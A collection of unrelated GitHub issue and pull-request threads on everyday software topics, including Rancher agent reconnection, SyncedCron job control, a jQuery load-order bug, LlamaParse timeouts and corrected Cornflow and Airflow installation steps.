I encountered a few where a second cattle-credentials secret was created, the deployment was updated to use it, but I had to switch back to the secret referenced in the deployment yaml from rancher or it did not work.  I'm not exactly sure what creates the second secret, but it seems related to the agent.
Anyone trying this, make sure all agent pods are terminated and removed when making changes.  I found some cases where the pod in terminating status was maintaining the connection to Rancher, making things look like they were okay when they weren't.

stil there

Appears on one of my clusters.
Just re-add the CATTLE_FEATURES values to de deployement, triggering new pods, and the cluster is now connected to Rancher.

Hi all,
I've experienced these issues with the cattle cluster agent now as well, and the workaround mentioned by @rverchere did the trick, so thank you for that! I just wanted to follow up and ask if there is any permanent fix to this, or if this has to be applied every time the cluster agent deployment is updated (e.g. certs renewal)?


Running specific task.

I can add several tasks to it but SyncedCron.start(), starts them all.
Any method of adding several tasks and starting a specific task only?

No, this is not how synced-cron works.

hey @zol ,
Thanks for this package, I want the same feature so I cloned the package and added following methods
SyncedCron.stopJob = function(jobName) {
  _.each(this._entries, function(entry, name) {
    if(entry.name === jobName){
      SyncedCron.remove(name);
      delete this.jobsRunning[entry.name];
    }
  });

SyncedCron.pauseJob = function(jobName) {
  if (this.running) {
    _.each(this._entries, function(entry) {
      if(entry.name === jobName){
        entry._timer.clear();
        this.jobsRunning[entry.name] = false;
      }
    });
  }
}

//status of all jobs
SyncedCron.status = function(){
  return this.running;
}

//status of particular job
SyncedCron.jobStatus = function(jobName){
  return this.jobsRunning[jobName];
}

// Start processing particular jobs
SyncedCron.startJob = function(jobName) {
  var self = this;

  Meteor.startup(function() {
    // Schedule each job with later.js
    _.each(self._entries, function(entry) {
      if(entry.name === jobName){
        scheduleEntry(entry);
        self.jobsRunning[entry.name] = true;
      }
    });
  });
}

I'm not sure what are the issues going to be, can you please tell what are the issues with these methods?

@sasikanth513 did this work for u?? any issues you noticed?


bower publish

Could you please publish the directive on bower?

U can do.
bower install angular-slideables
npm install angular-slideables
These package are created by me.


Keep version numbers defined in project.json and bower.json in sync

I noticed that package.json says the project is on version 0.0.1. while bower.json says it is 0.1.5. It would be less confusing if they were synchronized.

Thanks @Infeligo!


Translate chapter 7

TODO

[x] แปล Section 1

One-way direction data flow is a pattern that works nicely with React. It is around the idea that the components do not modify the data that they receive. They only listen for changes of this data and maybe provide the new value but they do not update the actual data. This update happens following another mechanism in another place and the component just gets re-rendered with the new value.
Let's for example get a simple Switcher component that contains a button. If we click it we have to enable a flag in the system.

[x] แปล Section 2

At this moment we have the data inside our component. Or in other words, Switcher is the only one place that knows about our flag. Let's send it out to some kind of a store:

[x] แปล Section 3

Our Store object is a singleton where we have helpers for setting and getting the value of the _flag property. By passing the setter to the Switcher we are able to update the data externally. More or less our application workflow looks like that:

Let's assume that we are saving the flag value to a back-end service via the Store. When the user comes back we have to set a proper initial state. If the user left the flag as true we have to show "lights on" and not the default "lights off". Now it gets tricky because we have the data in two places. The UI and the Store have their own states. We have to communicate in both directions from the store to the switcher and from the switcher to the store.

[x] แปล Section 4

Our workflow changes to the following:
All this leads to managing two states instead of one. What if the Store changes its value based on other actions in the system. We have to propagate that change to the Switcher and we increase the complexity of our app.
One-way direction data flow solves this problem. It eliminates the multiple places where we manage states and deals with only one which is usually the store. To achieve that we have to tweak our Store object a little bit. We need logic that allows us to subscribe for changes:

[x] แปล Section 5

Then we will hook our main App component and we'll re-render it every time when the Store changes its value:

[x] แปล Section 6

Because of this change the Switcher becomes really simple. We don't need the internal state and the component may be written as a stateless function.

[x] แปล Section 7

The benefit that comes with this pattern is that our components become dummy representation of the store's data. There is only one source of truth and this makes the development easier. If you are going to take one thing from this book I would prefer to be this chapter. The one-direction data flow drastically changed the way of how I think when designing a feature so I believe it will have the same effect on you.

รีวิวได้เลยครับ

done

PR Successful! เดี๋ยวรอทีมงานติดต่อไปนะครับ :)


New feature: scrollUpList/scrollDownList by View

From<EMAIL_ADDRESS>on September 10, 2012 05:28:32
New feature.
scrollUpList/scrollDownList by View
Thank you in advance,
Sergey.
Original issue: http://code.google.com/p/robotium/issues/detail?id=325

From<EMAIL_ADDRESS>on September 10, 2012 10:28:06
Thanks for this. It will be included in the next release.
Status: Accepted
Owner<EMAIL_ADDRESS>

From<EMAIL_ADDRESS>on October 10, 2012 22:10:38
Thanks again. This has been included in Robotium 3.5.
Status: Verified


Create new release 0.6.27

What this PR does / why we need it:
Trigger new release to include https://github.com/kubernetes-sigs/aws-iam-authenticator/pull/761
Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #

/ok-to-test
/lgtm

/lgtm
/approve


WIP

First off, I admit I’m not an expert, so I may be wrong.
But my reasoning was that Bluebird has nice helper functions for filter and map that allow for promises.
http://bluebirdjs.com/docs/api/promise.filter.html
This is also why functions is wrapped in Promise.all() to get the bluebird version of that filter and map functions.

Ah, I see. I think that the benefits of the promise filter helper method come from it predating ecma 6 type promise chaining. As the language stands at the moment, I don't know that I see a benefit to using
const Promise = require('bluebird');

Promise.filter(
  functions.map(f => cloudWatchLogs.(...).promise(),
  filterFn
)
  .then(...)

over
Promise.all(functions.map(f => cloudWatchLogs.(...).promise())
  .then(res => res.filter(filterFn))
  .then(...)

In fact, after writing it out, I think I prefer the chained filtering as it's much clearer that the filtering happens on the resolved promises, something that wasn't immediately clear to me until reading the documentation.


Jquery not defined

Hi,
After fresh install (unzip grav-skeleton-striped-site-v1.0.3) :
ReferenceError: jQuery is not defined jquery-ui.js:14:3
ReferenceError: $ is not defined sunshine-in-the-hills:24:9
TypeError: $(...).datepicker is not a function sunshine-in-the-hills:50:32

Nico.

This is due to a mistake in the ordering of the js includes. jquery-ui is added prior to jquery, causing the error you show. Including jquery before jquery-ui removes the error. I submitted a pull request in the theme repo to fix this.

Still a error :/ @da-rf did u have a workaround to fix itself?

Sorry, didn't see this until now. The pull request i submitted fixes the problem, but the developers haven't merged it yet.
The change needed to fix this is simple. You can fix your local version by making the changes shown in my pull request:
https://github.com/getgrav/grav-theme-striped/pull/9/commits/b419f9b9c38667183aab35c20ba47d3ea796e2d0
Just move those three lines in the base.html.twig file for the theme and the problem should be solved.


Changing licence

Codecov Report

Merging #28 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             master    #28   +/-   ##
=======================================
  Coverage       100%   100%
  Complexity       50     50
=======================================
  Files             4      4
  Lines           149    149
=======================================
  Hits            149    149

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f2931b3...2d9d075. Read the comment docs.


Scala 2.12.10

@roarking

Codecov Report

Merging #219 into master will increase coverage by <.01%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #219      +/-   ##
==========================================
+ Coverage   92.71%   92.71%   +<.01%
==========================================
  Files         136      136
  Lines        2415     2417       +2
  Branches      128      128
==========================================
+ Hits         2239     2241       +2
  Misses        176      176

Impacted Files
Coverage Δ

...scala/hydra.ingest/services/IngestionHandler.scala
100% <0%> (ø)
:arrow_up:

...la/hydra.ingest/services/IngestionSupervisor.scala
97.95% <0%> (+0.28%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 84fc60c...db1e637. Read the comment docs.


Git SHA header is not installing properly in downstream projects

Noticed by @jamiebramwell  in a Smith update.
We should also add one to Smith if its not there and make sure both exist together.

@white238 , is this still an issue?

I don't think this is an issue but we should check.  @chapman39 can you verify this in LiDO?

yup seems to be installing fine


Server error time out

both inside the application and when using the API the server times out.

I am having the same issue. When initiating, I get an output of "Started parsing the file under job_id "
After an extended period of time, I get an output of
" Error while parsing the file '<MYFILE.PDF>': Server disconnected without sending a response."
This has been an ongoing issue all day. Has the issue been examined, @jerryjliu @Disiok and colleagues?

@rwclayton @jes252 if you can provide some way to reproduce, happy to take a look

I had same issues during same time period as @rwclayton. Some status mechanism on the cloud site would be helpful. Very frustrating when trying to determine if a coding issue or a server issue.

It started working again
On Tue, May 14, 2024 at 11:44 AM Logan @.***> wrote:

@rwclayton https://github.com/rwclayton @jes252
https://github.com/jes252 if you can provide some way to reproduce,
happy to take a look
—
Reply to this email directly, view it on GitHub
https://github.com/run-llama/llama_parse/issues/174#issuecomment-2110567572,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AXLTNXKO3PG45547Y4DF4IDZCIWNZAVCNFSM6AAAAABHRFKGJKVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDCMJQGU3DONJXGI
.
You are receiving this because you were mentioned.Message ID:
@.***>

+1 encountering the same problem this afternoon


Fix installation instructions

I used the installation documentation on the following places:

https://baobabsoluciones.github.io/cornflow/main/install.html
https://github.com/baobabsoluciones/cornflow/blob/master/QUICK_START_GUIDE.RST

Following these instructions I failed to install any of the parts (cornflow or ariflow) correctly.
I had to go look for the unit tests of cornflow client to understand the current steps and adapt them to a normal (i.e., outside of github) environment.
here are a few of the issues I found in the two guides above:

apache airflow version is wrong (2.7.1 vs 2.1)
there's no instruction to do cd cornflow-server before installing virtual environments and deploying.
the flask db upgrade instruction lacks an argument.
cornflow-dags dags and requirements need to be copied to the airflow_config directory
Unconsistent references to afvenv and cfvenv (venv) in all documentation/ guied.
A command to install apache airflow providers google was missing and lead to an error. Solved with pip install apache-airflow-providers-google
References to python instead of python3 are not portable to Ubuntu (replacing with python3 worked)
A reference to a cornflow port on launch (5050 vs 5000) was inconsistent.

I'm sure I'm still lacking a few things. I leave below the installation instructions (commands) that worked for me, merging from memory, unit tests and current docs.

Cornflow server installation and running
cd cornflow-server
python -m venv cfvenv
source cfvenv/bin/activate
python3 -m pip install -U -r requirements-dev.txt
python3 -m pip install -U -e ../libs/client
export FLASK_APP=cornflow.app
export FLASK_ENV=development
export DATABASE_URL=sqlite:///cornflow.db
export SECRET_KEY=THISNEEDSTOBECHANGED
export AIRFLOW_URL=http://localhost:8080
export AIRFLOW_USER=admin
export AIRFLOW_PWD=admin
flask db upgrade -d cornflow/migrations/
flask access_init
flask register_deployed_dags -r http://<IP_ADDRESS>:8080 -u admin -p admin
flask create_admin_user -u admin -e<EMAIL_ADDRESS>-p Adminpassword1!
flask create_service_user -u airflow -e<EMAIL_ADDRESS>-p Airflow_test_password1
flask create_base_user -u user -e<EMAIL_ADDRESS>-p UserPassword1!
flask register_dag_permissions -o 1
flask run -p 5050 &

Airflow server installation
cp -r cornflow-dags/DAG/* cornflow-server/airflow_config/dags/
cp cornflow-dags/requirements.txt cornflow-server/airflow_config/
cd cornflow-server
python3 -m venv afvenv
source afvenv/bin/activate
AIRFLOW_VERSION=2.7.1
PYTHON_VERSION="$(python3 --version | cut -d " " -f 2 | cut -d "." -f 1-2)"
CLIENT_BRANCH="${{ github.head_ref || github.ref_name }}"
CONSTRAINT_URL="https://raw.githubusercontent.com/apache/airflow/constraints-${AIRFLOW_VERSION}/constraints-${PYTHON_VERSION}.txt"
python3 -m pip install "apache-airflow==${AIRFLOW_VERSION}" --constraint "${CONSTRAINT_URL}"
python3 -m pip install -U orloge pulp
python3 -m pip install -U -e ../libs/client
python3 -m pip install -U -r airflow_config/requirements.txt
pip install apache-airflow-providers-google
airflow db init
airflow users create -u admin -f admin -l admin -r Admin -p admin -e<EMAIL_ADDRESS>Airflow server running
export AIRFLOW_HOME="$PWD/airflow_config"
export AIRFLOW__CORE__LOAD_EXAMPLES=0
export AIRFLOW__CORE__DAGS_ARE_PAUSED_AT_CREATION=0
export AIRFLOW__API__AUTH_BACKEND=airflow.api.auth.backend.basic_auth
export AIRFLOW__WEBSERVER__SECRET_KEY=e9adafa751fd35adfc1fdd3285019be15eea0758f76e38e1e37a1154fb36
export AIRFLOW_CONN_CF_URI=http://airflow:Airflow_test_password1@localhost:5050
airflow webserver -p 8080 &
airflow scheduler &

Thank you @pchtsp we will work to fix the documentation issues asap.

Fixed by #506